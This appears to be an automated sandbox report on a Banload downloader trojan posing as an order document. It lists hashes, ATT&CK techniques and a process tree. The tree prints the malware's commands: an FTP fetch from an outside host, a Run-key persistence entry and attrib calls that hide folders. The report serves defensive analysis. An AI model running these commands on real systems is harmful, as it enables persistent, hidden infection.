banload | 85220b1eb21832d0c1959138e97af548141a4983c7b08114881b3d5faaadaff7

Analysis

max time kernel
10s
max time network
7s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
20-05-2024 04:40

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Reason

Machine shutdown

Report Analysis Logs

General

Target

Order details 20160623103529.exe
Size

2.3MB
MD5

07a4eab7815d7240e9d3d38f7df9be36
SHA1

2fcb5ee484b60dcadd3ef4aa4ab2f6b22f8e78f4
SHA256

14d2a798476194ebc48db82141fa597c7ac6a91094f36a1311d857579c867017
SHA512

4fe7adbfcd46ef19d3ce73f4342a197579d6653c7bba96e65813fe6d076cadc87ff2e0d640035656a044566e21e21dcf4393191f4d6330f25319f476611686ab
SSDEEP

49152:Ipgs8ABpNAcbBicSTgbDgtcBbWRzfYb/kL+agsNFCriQmew54a11Fp:IGs8AvNzXgtcpEfFFC2QVbalp

Score

10^/10

banload downloader dropper evasion persistence trojan

Malware Config

Signatures

Banload
Banload variants download malicious files, then install and execute the files.
trojan dropper downloader banload

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	adbr01.exe

Sets file to hidden 1 TTPs 5 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
5092	attrib.exe
4852	attrib.exe
2388	attrib.exe
2956	attrib.exe
1552	attrib.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	adbr01.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	adbr01.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	Order details 20160623103529.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
3724	Adobeta.exe
4404	adbr01.exe
2336	adbr01.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeA = "C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Adobe Inc\\AdobeRead\\acro4.bat"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4092	ipconfig.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	Order details 20160623103529.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}	adbr01.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\ = "CLSID_ExtensionListContextMenu"	adbr01.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\InProcServer32	adbr01.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\InProcServer32\ = "C:\\Windows\\SysWOW64\\TwinUI.dll"	adbr01.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{37EDC348-F7AF-59EA-E1CC-DDFB47F24187}\InProcServer32\ThreadingModel = "Apartment"	adbr01.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 720 wrote to memory of 1364	720	Order details 20160623103529.exe	83
PID 720 wrote to memory of 1364	720	Order details 20160623103529.exe	83
PID 720 wrote to memory of 1364	720	Order details 20160623103529.exe	83
PID 1364 wrote to memory of 4356	1364	WScript.exe	84
PID 1364 wrote to memory of 4356	1364	WScript.exe	84
PID 1364 wrote to memory of 4356	1364	WScript.exe	84
PID 4356 wrote to memory of 3864	4356	cmd.exe	97
PID 4356 wrote to memory of 3864	4356	cmd.exe	97
PID 4356 wrote to memory of 3864	4356	cmd.exe	97
PID 4356 wrote to memory of 1552	4356	cmd.exe	98
PID 4356 wrote to memory of 1552	4356	cmd.exe	98
PID 4356 wrote to memory of 1552	4356	cmd.exe	98
PID 4356 wrote to memory of 5092	4356	cmd.exe	99
PID 4356 wrote to memory of 5092	4356	cmd.exe	99
PID 4356 wrote to memory of 5092	4356	cmd.exe	99
PID 4356 wrote to memory of 4852	4356	cmd.exe	100
PID 4356 wrote to memory of 4852	4356	cmd.exe	100
PID 4356 wrote to memory of 4852	4356	cmd.exe	100
PID 4356 wrote to memory of 2388	4356	cmd.exe	101
PID 4356 wrote to memory of 2388	4356	cmd.exe	101
PID 4356 wrote to memory of 2388	4356	cmd.exe	101
PID 4356 wrote to memory of 2956	4356	cmd.exe	102
PID 4356 wrote to memory of 2956	4356	cmd.exe	102
PID 4356 wrote to memory of 2956	4356	cmd.exe	102
PID 4356 wrote to memory of 1208	4356	cmd.exe	103
PID 4356 wrote to memory of 1208	4356	cmd.exe	103
PID 4356 wrote to memory of 1208	4356	cmd.exe	103
PID 1208 wrote to memory of 3884	1208	WScript.exe	104
PID 1208 wrote to memory of 3884	1208	WScript.exe	104
PID 1208 wrote to memory of 3884	1208	WScript.exe	104
PID 3884 wrote to memory of 3724	3884	cmd.exe	106
PID 3884 wrote to memory of 3724	3884	cmd.exe	106
PID 3884 wrote to memory of 3724	3884	cmd.exe	106
PID 3884 wrote to memory of 1508	3884	cmd.exe	107
PID 3884 wrote to memory of 1508	3884	cmd.exe	107
PID 3884 wrote to memory of 1508	3884	cmd.exe	107
PID 3884 wrote to memory of 4092	3884	cmd.exe	108
PID 3884 wrote to memory of 4092	3884	cmd.exe	108
PID 3884 wrote to memory of 4092	3884	cmd.exe	108
PID 3884 wrote to memory of 4404	3884	cmd.exe	109
PID 3884 wrote to memory of 4404	3884	cmd.exe	109
PID 3884 wrote to memory of 4404	3884	cmd.exe	109
PID 4404 wrote to memory of 2336	4404	adbr01.exe	110
PID 4404 wrote to memory of 2336	4404	adbr01.exe	110
PID 4404 wrote to memory of 2336	4404	adbr01.exe	110
PID 4404 wrote to memory of 2336	4404	adbr01.exe	110
PID 4404 wrote to memory of 2336	4404	adbr01.exe	110

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1552	attrib.exe
5092	attrib.exe
4852	attrib.exe
2388	attrib.exe
2956	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Order details 20160623103529.exe
"C:\Users\Admin\AppData\Local\Temp\Order details 20160623103529.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:720
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat" /quiet /passive /norestart"
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\SysWOW64\xcopy.exe
      xcopy /y /h /e /r /k /c *.* "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\"
      4⤵
      Enumerates system info in registry
      PID:3864
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1552
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\AdobeR"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5092
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\ADBR\READER"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:4852
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2388
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2956
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adob9.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1208
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\rea01.bat" /quiet /passive /norestart"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3884
      - C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe
        
        Adobeta.exe -a -c -d -natpasv -s:01.klm ftp.freehostia.com -s
        6⤵
        Executes dropped EXE
        
        PID:3724
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "AdobeA" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\acro4.bat"
        6⤵
        Adds Run key to start application
        
        PID:1508
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /all
        6⤵
        Gathers network information
        
        PID:4092
      - C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
        
        adbr01.exe -f "011.011"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4404
        
        C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
        
        adbr01.exe -f "011.011"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Modifies registry class
        
        PID:2336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\004.afq

Filesize
118B

MD5
9275864a850bf2c9d21d8b158be4999e

SHA1
838ebcbc1a27c9d8dbad268de77877bf892f5223

SHA256
ff279561e09b341b77ace01b0d71152e8471e5c8767aedaa16c9096774727511

SHA512
ba58a479507bf8e705189e3283ac5a91c11f6ac276efb2e40ee583a1595cbf7c5204c56fab7a46bfae19d7089f25466303f1baafc7d260d86cb48db073786a8d

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\AReader.exe

Filesize
124KB

MD5
1a1075e5e307f3a4b8527110a51ce827

SHA1
f453838ed21020b7ca059244feea8579e5aa74ef

SHA256
ddd90e3546e95b0991df26a17cf26fa2f1c20d6a1fd4ffccf1e9b3ec3d3810d5

SHA512
b6b70c6cb3cdb05a69c75b86c1fa0fadb38de0391e1fa17daff7d12dfae2a9f483546d9bf1001ff622694fdf8a28b85cd30fc541c25be62df022d22ca17decc1

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat

Filesize
556B

MD5
97410477dc9501dffca4ea4b1ae57273

SHA1
fb573b3bf4eba734b0f32db1a5b7ff78de36b064

SHA256
3836545f759c1ff93892ea0ef81424c8acdef7dc9440e8404bc04662fe7e6f2c

SHA512
3d22d0bf5375f3cedc7f6bdc0b2fac8de834a1b80567a2395046c5aada74d87e8338fbd0f787b14dbe3f5914c9a751597f1332d89d19f6d96de195ef334cc915

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob9.vbs

Filesize
186B

MD5
09082253605a7171f078e26dc308a667

SHA1
585286c9fcda5e66e7fdb4e17a7bab6160183d46

SHA256
f4c67dc01ce4bf55e1b574009c49d481dad0d33070f53f42bc76807eb5e324ed

SHA512
adb4a1fec6feada14b8b4f28730e098a0af19f1e7c2fa0fe684030d1171e56c88813661a2352ce598221853fce3dc8a4bb3b2e1dc80b6471c41d2598f635b1d8

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs

Filesize
189B

MD5
ce8041824149d8266dbb0ad9688224d7

SHA1
3ab653c43ce66681ceaab90193e1a4c95d998090

SHA256
0a697bf8507b3f517afe7d67ed0f12f1a8d0edbb72252d75cc7677d6e2e638c5

SHA512
e1a205a1665fe5beb3c53cdcff4eb9c66a4773d730215ff87a179f3c825d342f8f7e8b5e65e45e6a1f13dfe7f58a09f5a920ce9416fe231d74ad1d99e60bd21d

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobeta.exe

Filesize
256KB

MD5
97b8dbcc7b3cc290aef4241df911ac2e

SHA1
733ababbcd278821d4e3ee78580841981f26642e

SHA256
c44ca1fe145c4f0dcea4efb95171cbf16dfec9fe66a603fbe29c94c21050a023

SHA512
4adaa7621e2c858e6541792146260142e1d28683ec1515a743a56bc106ab425edfce856ef3b0d146d63704b34694c9e666a39e3845a097d41cbf465537ec9b25

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\acro4.bat

Filesize
139B

MD5
89412aba215b6cd18b8a64c4485fa03f

SHA1
37089346499f54a7d89262a67d95c8764ab3ca1f

SHA256
9607fb2a0e2ea02cd674272680a238d21539071db3c9735818a1abf11ff30ff1

SHA512
7afe571b9ad4b67fdf00cecade8645e82471c1c5098b563a2e2d0cff96905f34b6071eb93c86f59850335e7e88d988d6c016553cdbbe1a693e1cdc3082a3790b

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr01.exe

Filesize
2.1MB

MD5
3351585db91521d6fa543490ac7cd6a5

SHA1
9be2b3abf17613d7386f9949cabaedd466902e82

SHA256
3f1749d4a96eb85fe2104fef8d871d9696b456615ff3775d484cc2c2431f40b4

SHA512
804b293c02a5526b8c7d5dc48edc18cb33e06a07b39a0b3f46d8d34387e1848b245b087fd820a4a14ac4866c85a120837217ddc9bb47ef32e1b5b80f0dc66d30

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr02.exe

Filesize
2.1MB

MD5
75a35514185cd2c5cf5aab50cc380963

SHA1
f1ff1e088f910398a48f4f7dfddec24e6d6d1734

SHA256
1cf5eb2f7c5cd5b7d036478d30408212494ab73190172c63df67e66350374937

SHA512
ca6bb433fe5fd4ea350dfa40dd80bb6913ea4693b6ba6188e67f55e4211db9975fd7af570546bce0fd877a3bfeceadd4da9ba9c46c6cb69f9963914739e16297

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\rea01.bat

Filesize
1KB

MD5
ce7ccd3b48dbe8f34db3b2b1222e4fd9

SHA1
e25f9947c2b250c98dffd7bfeaca75b4db17dcfd

SHA256
6374a35588bd20362e54dff9e8cf0dffba5ba0ec5952a08fb51caea54c5d228e

SHA512
ee6b389f29d30a572c7c9837575df7ff197589824c5377f02b7c453572139d4ecc75c5b194a601b953fbb7e692b3929faf8c4e14e7fec51cd25d71658636ef99

Download Submit
memory/2336-70-0x0000000000400000-0x00000000006B4000-memory.dmp

Filesize
2.7MB

Download
memory/2336-57-0x0000000000400000-0x00000000006B4000-memory.dmp

Filesize
2.7MB

Download
memory/2336-59-0x0000000002960000-0x0000000002B6C000-memory.dmp

Filesize
2.0MB

Download
memory/2336-63-0x0000000002960000-0x0000000002B6C000-memory.dmp

Filesize
2.0MB

Download
memory/2336-71-0x0000000000400000-0x00000000006B4000-memory.dmp

Filesize
2.7MB

Download
memory/2336-72-0x0000000000400000-0x00000000006B4000-memory.dmp

Filesize
2.7MB

Download
memory/2336-73-0x0000000000400000-0x00000000006B4000-memory.dmp

Filesize
2.7MB

Download
memory/2336-74-0x0000000002960000-0x0000000002B6C000-memory.dmp

Filesize
2.0MB

Download
memory/2336-80-0x0000000002960000-0x0000000002B6C000-memory.dmp

Filesize
2.0MB

Download
memory/2336-83-0x0000000002960000-0x0000000002B6C000-memory.dmp

Filesize
2.0MB

Download
memory/4404-55-0x0000000000400000-0x00000000006B4000-memory.dmp

Filesize
2.7MB

Download
memory/4404-86-0x0000000000400000-0x00000000006B4000-memory.dmp

Filesize
2.7MB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads